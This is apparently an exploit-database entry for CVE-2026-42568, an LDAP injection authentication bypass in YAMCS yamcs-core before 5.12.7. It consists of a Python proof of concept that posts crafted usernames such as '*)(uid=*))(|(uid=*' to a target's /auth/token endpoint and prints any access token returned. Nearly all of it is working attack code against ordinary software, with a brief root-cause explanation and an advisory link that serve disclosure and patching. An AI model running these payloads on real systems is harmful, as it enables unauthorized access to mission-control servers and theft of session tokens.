YAMCS yamcs-core 5.12.7 - LDAP Injection

# Exploit Title: YAMCS yamcs-core  5.12.7 - LDAP Injection 
# Date: 2026-05-27
# Exploit Author: Daniel Miranda Barcelona (Excal1bur)
# Vendor Homepage: https://yamcs.org
# Software Link: https://github.com/yamcs/yamcs
# Version: < 5.12.7
# Tested on: Linux
# CVE: CVE-2026-42568
# Category: Remote / Auth Bypass
# Advisory: https://github.com/yamcs/yamcs/security/advisories/GHSA-cqh3-jg8p-336j

#!/usr/bin/env python3
"""
CVE-2026-42568 — YAMCS LDAP Injection in LdapAuthModule
=========================================================
The username parameter in LdapAuthModule is inserted directly
into LDAP search filters without RFC 4515 escaping.

Root cause (LdapAuthModule.java):
    var filter = userFilter.replace("{0}", username);

With userFilter=(uid={0}) and username=*)(uid=*))(|(uid=*
Result: (uid=*)(uid=*))(|(uid=*) — universal match, auth bypass.

Only affects instances with LdapAuthModule configured.
=========================================================
"""

import requests
import sys
import json

def main():
    target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8090"
    base = target.rstrip("/")

    print("=" * 65)
    print(" CVE-2026-42568 — YAMCS LDAP Injection PoC")
    print(f" Target: {target}")
    print(" Requires: LdapAuthModule configured in yamcs.yaml")
    print("=" * 65)

    payloads = [
        {
            "name": "Universal bypass",
            "username": "*)(uid=*))(|(uid=*",
            "password": "anything",
        },
        {
            "name": "Targeted bypass (admin)",
            "username": "admin)(|(objectClass=*",
            "password": "wrongpassword",
        },
        {
            "name": "Wildcard match",
            "username": "op*",
            "password": "anything",
        }
    ]

    for i, p in enumerate(payloads, 1):
        print(f"\n[{i}] {p['name']}")
        print(f"     username: {p['username']}")
        print(f"     password: {p['password']}")

        try:
            resp = requests.post(f"{base}/auth/token",
                data={
                    "grant_type": "password",
                    "username": p["username"],
                    "password": p["password"]
                }, timeout=5)

            print(f"     HTTP:     {resp.status_code}")

            if resp.status_code == 200:
                token = resp.json().get("access_token", "")
                print(f"     [!!!] AUTH BYPASSED")
                if token:
                    print(f"     [!!!] Token: {token[:50]}...")
            elif resp.status_code == 401:
                print(f"     [-] 401 — LDAP may not be configured")
            elif resp.status_code == 403:
                print(f"     [+] 403 — Patched or LDAP disabled")

        except requests.exceptions.ConnectionError:
            print(f"     [-] Connection refused — is YAMCS running?")
        except Exception as e:
            print(f"     [-] Error: {e}")

    print("\n" + "=" * 65)
    print(" Fix: Upgrade to yamcs-core >= 5.12.7")
    print("=" * 65)

if __name__ == "__main__":
    main()